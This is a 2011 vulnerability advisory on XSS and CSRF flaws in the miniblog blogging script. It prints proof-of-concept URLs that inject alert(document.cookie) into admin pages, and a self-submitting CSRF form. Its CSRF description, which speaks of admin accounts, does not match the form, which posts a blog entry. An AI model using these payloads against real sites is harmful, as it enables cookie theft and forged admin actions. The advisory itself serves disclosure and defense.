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Multiple Vulnerabilities in miniblog

Advisory ID:HTB23008
Product:miniblog
Vendor:spyka Web Group
Vulnerable Versions:1.0.0 and probably prior
Tested Version:1.0.0
Advisory Publication:May 25, 2011 [without technical details]
Vendor Notification:May 25, 2011
Public Disclosure:June 15, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in miniblog which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in miniblog
1.1 The vulnerability exists due to input sanitation error in the "post_list" parameter in adm/list.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Successful exploitation requires that that victim is logged-in into the application and has access to administrative interface and that "register_globals" is enabled.
Exploitation example:
http://[host]/adm/list.php?post_list=%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
1.2 The vulnerability exists due to input sanitation error in the "error_text" parameter in adm/login.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Successful exploitation requires that that victim is logged-in into the application and has access to administrative interface and that "register_globals" is enabled.
Exploitation example:
http://[host]/adm/login.php?error_text=%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E
1.3 The vulnerability exists due to input sanitation error in the "response_text" parameter in adm/options.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Successful exploitation requires that that victim is logged-in into the application and has access to administrative interface and that "register_globals" is enabled.
Exploitation example:
http://[host]/adm/options.php?response_text=%3Cscript%3Ealert%28document.coo kie%29;%3C/script%3E
1.4 The vulnerability exists due to input sanitation error in the "response_text" parameter in adm/password.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Successful exploitation requires that that victim is logged-in into the application and has access to administrative interface and that "register_globals" is enabled.
Exploitation example:
http://[host]/adm/password.php?response_text=%3Cscript%3Ealert%28document.co okie%29;%3C/script%3E
1.5 The vulnerability exists due to input sanitation error in the "response_text" and "mode" parameters in adm/edit.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Successful exploitation requires that that victim is logged-in into the application and has access to administrative interface and that "register_globals" is enabled.
Exploitation examples:
http://[host]/adm/edit.php?response_text=%3Cscript%3Ealert%28document.cookie %29;%3C/script%3E
http://[host]/adm/edit.php?mode=%3Cscript%3Ealert%28docum ent.cookie%29;%3C/script%3E


2) Cross-site request forgery in miniblog
The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create administrative accounts.
Exploitation example:
<form action="http://[host]/adm/admin.php?mode=add&id=" method="post">
<input type="hidden" name="data[post_title]" value="csrf">
<input type="hidden" name="data[post_content]" value="csrf">
<input type="hidden" name="data[published]" value="1">
<input type="hidden" name="miniblog_PostBack" value="Add">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB23008 - https://www.immuniweb.com/advisory/HTB23008 - Multiple Vulnerabilities in miniblog
[2] miniblog - www.spyka.net - An ultra lightweight, single user, blogging/news system for your website.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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